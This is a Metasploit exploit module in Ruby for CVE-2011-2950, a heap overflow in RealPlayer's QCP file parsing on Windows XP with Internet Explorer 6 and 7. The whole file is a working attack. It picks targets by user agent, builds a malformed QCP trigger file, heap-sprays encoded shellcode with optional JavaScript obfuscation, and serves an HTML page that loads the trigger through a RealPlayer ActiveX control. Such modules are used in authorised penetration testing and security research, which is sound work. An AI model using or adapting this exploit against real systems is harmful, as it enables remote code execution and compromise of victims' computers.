##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'        => "RealNetworks Realplayer QCP Parsing Heap Overflow",
      'Description' => %q{
          This module exploits a heap overflow in Realplayer when handling a .QCP file.
          The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
          allocated on the heap and user-supplied data from the file is copied within a
          memory copy loop.

          This allows a remote attacker to execute arbitrary code running in the context
          of the web browser via a .QCP file with a specially crafted "fmt" chunk.
          At this moment this module exploits the flaw on Windows XP IE6, IE7.
        },
      'License'     => MSF_LICENSE,
      'Author'      =>
        [
          'Sean de Regge', # Vulnerability discovery
          'juan vazquez'   # Metasploit module
        ],
      'References' =>
        [
          ['CVE', '2011-2950'],
          ['OSVDB', '74549'],
          ['BID', '49172'],
          # ZDI advisory
          ['ZDI', '11-265'],
          ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
        ],
      'Payload' =>
        {
          'Space' => 1024
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Automatic', {} ],
          [ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
          [ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
        ],
      'DisclosureDate' => "Aug 16 2011",
      'DefaultTarget' => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ])
  end

  def get_target(cli, request)
    #Default target
    my_target = target

    vprint_status("User-Agent: #{request.headers['User-Agent']}")

    if target.name == 'Automatic'
      agent = request.headers['User-Agent']
      if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
        #Windows XP + IE 6
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
        #Windows XP + IE 7.0
        my_target = targets[2]
      elsif agent =~ /RMA/
        #RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
        #when requesting our trigger file
        return 'RMA'
      else
        #If we don't recognize the client, we don't fire the exploit
        my_target = nil
      end
    end

    return my_target
  end

  def exploit
    #Set trigger file name
    @filename = rand_text_alpha(rand(6) + 3)
    #Create the trigger file
    @trigger = build_trigger
    super
  end

  def on_request_uri(cli, request)
    #Pick the right target
    vprint_status("Selecting target...")
    my_target = get_target(cli, request)
    if my_target.nil?
      print_error("Target not supported")
      send_not_found(cli)
      return
    end

    vprint_status("URL: #{request.uri.to_s}")

    #Send the trigger file upon request
    if request.uri.match(/\.qcp$/)
      print_status("Sending trigger file")
      send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    vprint_status("Building shellcode...")
    code = Rex::Text.to_unescape(payload.encoded)

    vprint_status("Building spray...")
    spray = build_spray(my_target, code)

    #obfuscate on demand
    vprint_status("Obfuscating javascript...")
    if datastore['OBFUSCATE']
      spray = Rex::Exploitation::JSObfu.new(spray)
      spray.obfuscate(memory_sensitive: true)
    end

    vprint_status("Building html...")
    #Value for the 'Src' parameter of our ActiveX control
    trigger_file = ""
    if ("/" == get_resource[-1,1])
      trigger_file = get_resource[0, get_resource.length - 1]
    else
      trigger_file = get_resource
    end
    trigger_file << "/#{@filename}.qcp"


    html = <<-EOS
    <HTML>
    <HEAD>
    </HEAD>
    <BODY>
    <script language='javascript'>
    #{spray}
    </script>
    <OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
    <PARAM NAME="SRC" VALUE="#{trigger_file}">
    <PARAM NAME="CONTROLS" VALUE="ImageWindow">
    <PARAM NAME="CONSOLE" VALUE="one">
    <PARAM NAME="AUTOSTART" VALUE="true">
    <EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
    </OBJECT>
    </BODY>
    EOS

    print_status("Sending #{self.name}")
    send_response( cli, html, {'Content-Type' => 'text/html'} )
  end

  def build_trigger()
    overflow_size = 700
    overflow_string = "\x11" * 700

    #riff_mark
    trigger = "\x52\x49\x46\x46"
    #total_size
    trigger << [0xed44 + overflow_size].pack("V")
    #qlcm_tag
    trigger << "\x51\x4c\x43\x4d"
    #fmt_tag
    trigger << "\x66\x6d\x74\x20"
    #fmt_size
    trigger << [0x96 + overflow_size].pack("V")
    #fmt_content
    trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
    trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
    trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
    trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
    trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
    trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
    trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
    trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
    trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
    trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
    trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
    trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
    trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
    trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
    trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
    trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    trigger << "\x00\x00\x00\x00\x00\x00"
    trigger << overflow_string
    #vrat_tag
    trigger << "\x76\x72\x61\x74"
    #vrat_size
    trigger << [0x8].pack("V")
    #vrat_content
    trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
    #data_tag
    trigger << "\x64\x61\x74\x61"
    #data_size
    trigger << [0xec8a].pack("V")
    #data_content
    trigger << rand_text_alpha(0xec8a)
    return trigger
  end

  def build_spray(mytarget, code)
    randnop = rand_text_alpha(rand(100) + 1)
    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);

    var code = unescape("#{code}");
    var #{randnop} = "#{mytarget['Nops']}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x10000) nops += nops;
    offset = nops.substring(0, 0x7BE0);
    var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);

    while (shellcode.length < 0x20000) shellcode += shellcode;
    block = shellcode.substring(0, (0x10000-6)/2);

    heap_obj.gc();

    for (var i=0; i < 0x1400; i++) {
      heap_obj.alloc(block);
    }
    JS

    spray = heaplib(spray)
    return spray
  end
end
